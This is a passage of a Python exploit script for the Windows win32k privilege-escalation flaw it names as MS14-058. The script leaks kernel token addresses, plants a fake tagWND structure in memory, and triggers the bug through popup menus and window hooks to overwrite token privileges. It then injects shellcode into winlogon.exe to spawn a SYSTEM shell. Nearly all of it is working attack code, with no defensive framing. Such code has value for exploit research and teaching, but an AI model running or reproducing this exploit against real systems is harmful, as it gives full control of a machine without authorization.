user32.PostMessageW.restype = BOOL user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM] user32.DefWindowProcW.restype = LRESULT user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1] user32.UnhookWindowsHook.restype = BOOL user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2] user32.SetWindowLongPtrW.restype = LPVOID user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM] user32.CallNextHookEx.restype = LRESULT user32.RegisterClassW.argtypes = [LPVOID] user32.RegisterClassW.restype = BOOL user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD, INT, INT, INT, INT, HWND, HMENU, HINSTANCE, LPVOID] user32.CreateWindowExW.restype = HWND user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID] user32.InsertMenuItemW.restype = BOOL user32.DestroyMenu.argtypes = [HMENU] user32.DestroyMenu.restype = BOOL user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD] user32.SetWindowsHookExW.restype = BOOL user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND, DWORD] user32.TrackPopupMenu.restype = BOOL advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)] advapi32.OpenProcessToken.restype = BOOL advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, POINTER(HANDLE)] advapi32.CreateRestrictedToken.restype = BOOL advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD, DWORD, DWORD] advapi32.AdjustTokenPrivileges.restype = BOOL advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE] advapi32.ImpersonateLoggedOnUser.restype = BOOL kernel32.GetCurrentProcess.restype = HANDLE kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD, POINTER(LPVOID)] kernel32.WriteProcessMemory.restype = BOOL kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD] kernel32.OpenProcess.restype = HANDLE kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD, DWORD] kernel32.VirtualAllocEx.restype = LPVOID kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD, LPVOID, DWORD, POINTER(HANDLE)] kernel32.CreateRemoteThread.restype = BOOL kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD] kernel32.CreateToolhelp32Snapshot.restype = HANDLE kernel32.CloseHandle.argtypes = [HANDLE] kernel32.CloseHandle.restype = BOOL kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32First.restype = BOOL kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32Next.restype = BOOL kernel32.GetCurrentThreadId.restype = DWORD ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID, ULONG, DWORD] ntdll.NtAllocateVirtualMemory.restype = NTSTATUS ntdll.NtQueryObject.argtypes = [HANDLE, DWORD, POINTER(PUBLIC_OBJECT_TYPE_INFORMATION), DWORD, DWORD] ntdll.NtQueryObject.restype = NTSTATUS ntdll.NtQuerySystemInformation.argtypes = [DWORD, POINTER(SYSTEM_HANDLE_INFORMATION_EX), DWORD, POINTER(DWORD)] ntdll.NtQuerySystemInformation.restype = NTSTATUS def log(msg, e=None): if e == "e": msg = "[!] " + msg if e == "d": msg = "[*] " + msg else: msg = "[+] " + msg print msg def getLastError(): """Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value, "e") else: log("Unknown Error", "e") class x_file_handles (Exception): pass def get_type_info(handle): """Get the handle type information.""" public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = ntdll.NtQueryObject(handle, ObjectDataInformation, byref(public_object_type_information), size, 0x0) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return "INVALID HANDLE: %s" % hex(handle) else: raise x_file_handles("NtQueryObject", hex(result)) def get_handles(): """Return all the open handles in the system""" system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def WndProc(hwnd, message, wParam, lParam): """Window procedure""" global bWndProcFlag if message == 289 and not bWndProcFlag: bWndProcFlag = True user32.PostMessageW(hwnd, 256, 40, 0) user32.PostMessageW(hwnd, 256, 39, 0) user32.PostMessageW(hwnd, 513, 0, 0) return user32.DefWindowProcW(hwnd, message, wParam, lParam) def hook_callback_one(code, wParam, lParam): """Sets a new address for the window procedure""" global bHookCallbackFlag if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\ not bHookCallbackFlag: bHookCallbackFlag = True if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01): # Sets a new address for the window procedure log("Callback triggered!") log("Setting the new address for the window procedure...") lpPrevWndFunc = user32.SetWindowLongPtrW\ ((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value, GWLP_WNDPROC, CALLBACK02) return user32.CallNextHookEx(0, code, wParam, lParam) def hook_callback_two(hWnd, Msg, wParam, lParam): """Once called will return the fake tagWND address""" global EXPLOITED user32.EndMenu() EXPLOITED = True log("Returning the fake tagWND and overwriting token privileges...") return 0x00000000FFFFFFFB def buildMenuAndTrigger(): """Create menus and invoke TrackPopupMenu""" global Hmenu01, Hmenu02 log("Creating windows and menus...") wndClass = WNDCLASS() wndClass.lpfnWndProc = WNDPROC(WndProc) wndClass.lpszClassName = u"pwned" wndClass.cbClsExtra = wndClass.cbWndExtra = 0 # Registering Class if not user32.RegisterClassW(addressof(wndClass)): log("RegisterClassW failed", "e") sys.exit() # Creating the Window hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL) if not hWnd: log("CreateWindowExW Failed", "e") sys.exit() # Creating popup menu user32.CreatePopupMenu.restype = HMENU Hmenu01 = user32.CreatePopupMenu() if not Hmenu01: log("CreatePopupMenu failed 0x1", "e") sys.exit() Hmenu01Info = MENUITEMINFO() Hmenu01Info.cbSize = sizeof(MENUITEMINFO) Hmenu01Info.fMask = MIIM_STRING # Insert first menu if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)): log("Error in InsertMenuItema 0x1", "e") user32.DestroyMenu(Hmenu01) sys.exit() # Creating second menu Hmenu02 = user32.CreatePopupMenu() if not Hmenu02: log("CreatePopupMenu failed 0x2", "e") sys.exit() Hmenu02Info = MENUITEMINFO() Hmenu02Info.cbSize = sizeof(MENUITEMINFO) Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU) Hmenu02Info.dwTypeData = "" Hmenu02Info.cch = 1 Hmenu02Info.hSubMenu = Hmenu01 # Insert second menu if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)): log("Error in InsertMenuItema 0x2", "e") user32.DestroyMenu(Hmenu01) user32.DestroyMenu(Hmenu01) sys.exit() # Set window callback tid = kernel32.GetCurrentThreadId() if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid): log("Failed SetWindowsHookExA 0x1", "e") sys.exit() # Crash it! log("Invoking TrackPopupMenu...") user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL) def alloctagWND(): """Allocate a fake tagWND in userspace at address 0x00000000fffffff0""" hProcess = HANDLE(kernel32.GetCurrentProcess()) hToken = HANDLE() hRestrictedToken = HANDLE() if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)): log("Could not open current process token", "e") getLastError() sys.exit() if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, byref(hRestrictedToken)): log("Could not create the restricted token", "e") getLastError() sys.exit() if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0, NULL, NULL): log("Could not adjust privileges to the restricted token", "e") getLastError() sys.exit() # Leak Token addresses in kernel space log("Leaking token addresses from kernel space...") for pid, handle, obj in get_handles(): if pid==os.getpid() and get_type_info(handle) == "Token": if hToken.value == handle: log("Current process token address: %x" % obj) if hRestrictedToken.value == handle: log("Restricted token address: %x" % obj) RestrictedToken = obj CurrentProcessWin32Process = "\x00"*8 # nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES # +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8 TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8) tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\ "\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\ "\x00"*8 +\ "\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\ TokenAddress + "\x47"*0x28 ## Allocate space for the input buffer lpBaseAddress = LPVOID(0x00000000fffffff0) Zerobits = ULONG(0) RegionSize = LPVOID(0x1000) written = LPVOID(0) dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff, byref(lpBaseAddress), 0x0, byref(RegionSize), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: log("Failed to allocate tagWND object", "e") getLastError() sys.exit() # Copy input buffer to the fake tagWND nSize = 0x200 written = LPVOID(0) lpBaseAddress = QWORD(0x00000000fffffff0) dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff, lpBaseAddress, tagWND, nSize, byref(written)) if dwStatus == 0: log("Failed to copy the input buffer to the tagWND object", "e") getLastError() sys.exit() log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\ (written.value, lpBaseAddress.value)) return hRestrictedToken def injectShell(hPrivilegedToken): """Impersonate privileged token and inject shellcode into winlogon.exe""" while not EXPLOITED: time.sleep(0.1) log("-"*70) log("Impersonating the privileged token...") if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken): log("Could not impersonate the privileged token", "e") getLastError() sys.exit() # Get winlogon.exe pid pid = getpid("winlogon.exe") # Get a handle to the winlogon process we are injecting into hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not hProcess: log("Couldn't acquire a handle to PID: %s" % pid, "e") sys.exit() log("Obtained handle 0x%x for the winlogon.exe process" % hProcess) # Creating shellcode buffer to inject into the host process sh = create_string_buffer(SHELLCODE, len(SHELLCODE)) code_size = len(SHELLCODE) # Allocate some space for the shellcode (in the program memory) sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if not sh_address: log("Could not allocate shellcode in the remote process") getLastError() sys.exit() log("Allocated memory at address 0x%x" % sh_address) # Inject shellcode in to winlogon.exe process space written = LPVOID(0) shellcode = QWORD(sh_address) dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size, byref(written)) if not dwStatus: log("Could not write shellcode into winlogon.exe", "e") getLastError() sys.exit() log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address)) # Now we create the remote thread and point its entry routine to be head of # our shellcode thread_id = HANDLE(0) if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0, byref(thread_id)): log("Failed to inject shellcode into winlogon.exe") sys.exit(0) log("Remote thread 0x%08x created" % thread_id.value) log("Spawning SYSTEM shell...") # Kill python process to kill the window and avoid BSODs os.kill(os.getpid(), signal.SIGABRT) def getpid(procname): """ Get Process Pid by procname """ pid = None try: hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) pe32 = PROCESSENTRY32() pe32.dwSize = sizeof(PROCESSENTRY32) ret = kernel32.Process32First(hProcessSnap , byref(pe32)) while ret: if pe32.szExeFile == LPSTR(procname).value: pid = pe32.th32ProcessID ret = kernel32.Process32Next(hProcessSnap, byref(pe32)) kernel32.CloseHandle ( hProcessSnap ) except Exception, e: log(str(e), "e") if not pid: log("Could not find %s PID" % procname) sys.exit() return pid CALLBACK01 = WinFunc1(hook_callback_one) CALLBACK02 = WinFunc2(hook_callback_two) if __name__ == '__main__': log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com", "d") # Prepare the battlefield hPrivilegedToken = alloctagWND() # Start the injection thread t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,)) t1.daemon = False t1.start() # Trigger the vuln buildMenuAndTrigger()